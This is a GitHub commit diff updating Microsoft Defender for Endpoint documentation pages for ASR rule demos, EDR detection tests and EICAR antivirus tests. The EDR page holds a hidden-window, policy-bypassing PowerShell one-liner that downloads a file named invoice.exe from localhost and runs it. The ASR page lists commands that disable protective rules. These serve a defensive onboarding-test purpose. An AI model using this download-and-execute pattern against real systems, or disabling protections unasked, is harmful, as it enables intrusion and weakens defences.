Skip to content

Commit 22835cb

Browse files
American-DipperAmerican-Dipper
authored
Merge branch 'main' into samanro-copilot-hub
2 parents 18660af + babb92c commit 22835cb

3 files changed

Lines changed: 128 additions & 13 deletions

File tree

‎microsoft-365/security/defender-endpoint/defender-endpoint-demonstration-attack-surface-reduction-rules.md‎

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,17 @@ ms.collection:
1919
- demo
2020
ms.topic: article
2121
ms.subservice: asr
22-
ms.date: 10/21/2022
22+
ms.date: 01/15/2024
2323
---
2424

2525
# Attack surface reduction rules demonstrations
2626

2727
**Applies to:**
2828

29-
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3029
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
32+
- [Microsoft Defender Antivirus](/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows)
3133

3234
Attack surface reduction rules target specific behaviors that are typically used by malware and malicious apps to infect machines, such as:
3335

@@ -37,8 +39,8 @@ Attack surface reduction rules target specific behaviors that are typically used
3739

3840
## Scenario requirements and setup
3941

40-
- Windows 10 1709 build 16273
41-
- Windows 10 1803 build (1803 rules)
42+
- Windows 11, Windows 10 1709 build 16273 or later
43+
- Windows Server 2022, Windows Server 2019, Windows Server 2016 and Windows Server 2012 R2 with the unified MDE client.
4244
- Microsoft Defender AV
4345
- Microsoft Office (required for Office rules and sample)
4446
- [Download attack surface reduction PowerShell scripts](https://demo.wd.microsoft.com/Content/WindowsDefender_ASR_scripts.zip)
@@ -132,7 +134,7 @@ You should immediately see an "Action blocked" notification.
132134

133135
You should immediately see an "Action blocked" notification.
134136

135-
### Scenario 3 (1803): ASR rule blocks unsigned USB content from executing
137+
### Scenario 3 (Windows 10 version 1803 or later): ASR rule blocks unsigned USB content from executing
136138

137139
1. Configure the rule for USB protection (B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4).
138140

@@ -162,6 +164,7 @@ Download and run this [clean-up script](https://demo.wd.microsoft.com/Content/AS
162164

163165
Alternately, you can perform these manual steps:
164166

167+
165168
```powershell
166169
Add-MpPreference -AttackSurfaceReductionRules_Ids BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 -AttackSurfaceReductionRules_Actions Disabled
167170
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EfC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Disabled
@@ -174,10 +177,15 @@ Add-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D
174177
Add-MpPreference -AttackSurfaceReductionRules_Ids B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 -AttackSurfaceReductionRules_Actions Disabled
175178
Add-MpPreference -AttackSurfaceReductionRules_Ids C1DB55AB-C21A-4637-BB3F-A12568109D35 -AttackSurfaceReductionRules_Actions Disabled
176179
Add-MpPreference -AttackSurfaceReductionRules_Ids 01443614-CD74-433A-B99E-2ECDC07BFC25 -AttackSurfaceReductionRules_Actions Disabled
180+
Add-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Disabled
181+
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Disabled
182+
Add-MpPreference -AttackSurfaceReductionRules_Ids e6db77e5-3df2-4cf1-b95a-636979351e5b -AttackSurfaceReductionRules_Actions Disabled
183+
Add-MpPreference -AttackSurfaceReductionRules_Ids a8f5898e-1dc8-49a9-9878-85004b8a61e6 -AttackSurfaceReductionRules_Actions Disabled
177184
Add-MpPreference -AttackSurfaceReductionRules_Ids 26190899-1602-49E8-8B27-EB1D0A1CE869 -AttackSurfaceReductionRules_Actions Disabled
178185
Add-MpPreference -AttackSurfaceReductionRules_Ids 7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C -AttackSurfaceReductionRules_Actions Disabled
179186
```
180187

188+
181189
Cleanup **c:\demo** encryption by running the [encrypt/decrypt file](https://demo.wd.microsoft.com/Content/ransomware_cleanup_encrypt_decrypt.exe)
182190

183191
## See also

‎microsoft-365/security/defender-endpoint/edr-detection.md‎

Lines changed: 58 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,14 +19,70 @@ ms.custom: admindeeplinkDEFENDER
1919
ms.topic: conceptual
2020
ms.subservice: mde
2121
search.appverid: met150
22-
ms.date: 11/17/2023
22+
ms.date: 01/15/2024
2323
---
24+
2425
# EDR detection test for verifying device's onboarding and reporting services
2526

27+
#### Applies to:
28+
29+
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
32+
## Scenario requirements and setup
33+
34+
- Windows 11, Windows 10 version 1709 build 16273 or newer, Windows 8.1, or Windows 7 SP1.
35+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, and Windows Server 2008 R2 SP1.
36+
- Linux
37+
- macOS
38+
- Microsoft Defender for Endpoint
39+
- Microsoft Defender for Endpoint on Linux
40+
- Microsoft Defender for Endpoint on macOS
41+
2642
Endpoint detection and response for Endpoint provide advanced attack detections that are near real-time and actionable. Security analysts can prioritize alerts effectively, gain visibility into the full scope of a breach, and take response actions to remediate threats.
2743

2844
Run an EDR detection test to verify that the device is properly onboarded and reporting to the service. Perform the following steps on the newly onboarded device:
2945

46+
### Windows
47+
48+
1. Open a Command Prompt window
49+
50+
2. At the prompt, copy and run the command below. The Command Prompt window will close automatically.
51+
52+
53+
```powershell
54+
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-WDATP-test\\invoice.exe');Start-Process 'C:\\test-WDATP-test\\invoice.exe'
55+
```
56+
57+
3. If successful, the detection test will be marked as completed and a new alert will appear in few minutes.
58+
59+
### Linux
60+
61+
1. Download [script file](https://aka.ms/LinuxDIY) to an onboarded Linux server
62+
63+
64+
```bash
65+
curl -o ~/Downloads/MDE Linux DIY.zip https://aka.ms/LinuxDIY
66+
```
67+
68+
1. Extract the zip
69+
70+
```bash
71+
unzip ~/Downloads/MDE Linux DIY.zip
72+
```
73+
74+
1. And run the following command:
75+
76+
```bash
77+
./mde_linux_edr_diy.sh
78+
```
79+
80+
After a few minutes, a detection should be raised in Microsoft Defender XDR.
81+
82+
3. Look at the alert details, machine timeline, and perform your typical investigation steps.
83+
84+
### macOS
85+
3086
1. In your browser, Microsoft Edge for Mac or Safari, download *MDATP MacOS DIY.zip* from [https://aka.ms/mdatpmacosdiy](https://aka.ms/mdatpmacosdiy) and extract.
3187

3288
The following prompt appears:
@@ -45,7 +101,7 @@ Run an EDR detection test to verify that the device is properly onboarded and re
45101
>
46102
> > **"MDATP MacOS DIY" cannot be opened because the developer cannot be verifier.**<br/>
47103
> > macOS cannot verify that this app is free from malware.<br/>
48-
> > **\[Move to Trash\]** **\[Cancel\]**
104+
> > **[Move to Trash]** **[Cancel]**
49105
50106
7. Click **Cancel**.
51107

‎microsoft-365/security/defender-endpoint/validate-antimalware.md‎

Lines changed: 57 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -19,29 +19,80 @@ ms.custom: admindeeplinkDEFENDER
1919
ms.topic: conceptual
2020
ms.subservice: mde
2121
search.appverid: met150
22-
ms.date: 11/17/2023
22+
ms.date: 01/16/2024
2323
---
2424

2525
# AV detection test for verifying device's onboarding and reporting services
2626

27-
Anti-malware tests are intended to measure how well the anti-malware software is able to detect, block and remove malware in a variety of scenarios. The test also measures the impact of the anti-malware device on the system's performance.
27+
**Applies to:**
2828

29-
Run an AV detection test to verify that the device is properly onboarded and reporting to the service. Perform the following steps on the newly onboarded device:
29+
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
31+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
32+
33+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
34+
35+
- [Microsoft Defender Antivirus](microsoft-defender-antivirus-windows.md)
36+
37+
- [Microsoft Defender for Individuals](https://www.microsoft.com/microsoft-365/microsoft-defender-for-individuals)
38+
39+
Scenario requirements and setup
40+
41+
- Windows 11, Windows 10, Windows 8.1, Windows 7 SP1
42+
43+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012, and Windows Server 2008 R2
44+
45+
- Linux
46+
47+
- macOS
48+
49+
- Microsoft Defender Real-time protection is enabled
50+
51+
## EICAR test file to simulate malware
52+
53+
After you enable Microsoft Defender for Endpoint or Microsoft Defender for Business or Microsoft Defender Antivirus, you can test the service and run a proof of concept to familiarize yourself with its feature and validate the advanced security capabilities effectively protect your device by generating real security alerts.
54+
55+
Run an AV detection test to verify that the device is properly onboarded and reporting to the service. Perform the following steps on the newly onboarded device:
56+
57+
### Windows
58+
59+
1. Prepare for the EICAR test file:
60+
61+
1. Use an EICAR test file instead of real malware to avoid causing damage. Microsoft Defender Antivirus treats EICAR test files as malware.
62+
63+
1. Create the EICAR test file:
64+
65+
1. Copy the following string: `X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*`
66+
67+
1. Paste the string into a .TXT file and save it as EICAR.txt
68+
69+
### Linux/macOS
3070

3171
1. Ensure that real-time protection is enabled (denoted by a result of 1 from running the following command):
3272

3373
```bash
3474
mdatp health --field real_time_protection_enabled
3575
```
3676

37-
2. Open a Terminal window. Copy and execute the following command:
77+
1. Open a Terminal window. Copy and execute the following command:
78+
79+
80+
Linux
81+
82+
83+
```bash
84+
curl -o ~/tmp/eicar.com.txt https://secure.eicar.org/eicar.com.txt
85+
```
86+
87+
macOS
88+
3889

3990
```bash
40-
curl -o ~/Downloads/eicar.com.txt https://www.eicar.org/download/eicar.com.txt
91+
curl -o ~/Downloads/eicar.com.txt
4192
```
4293

4394
3. The file has been quarantined by Defender for Endpoint on Mac. Use the following command to list all the detected threats:
4495

4596
```bash
4697
mdatp threat list
47-
```
98+
```

0 commit comments

Comments
 (0)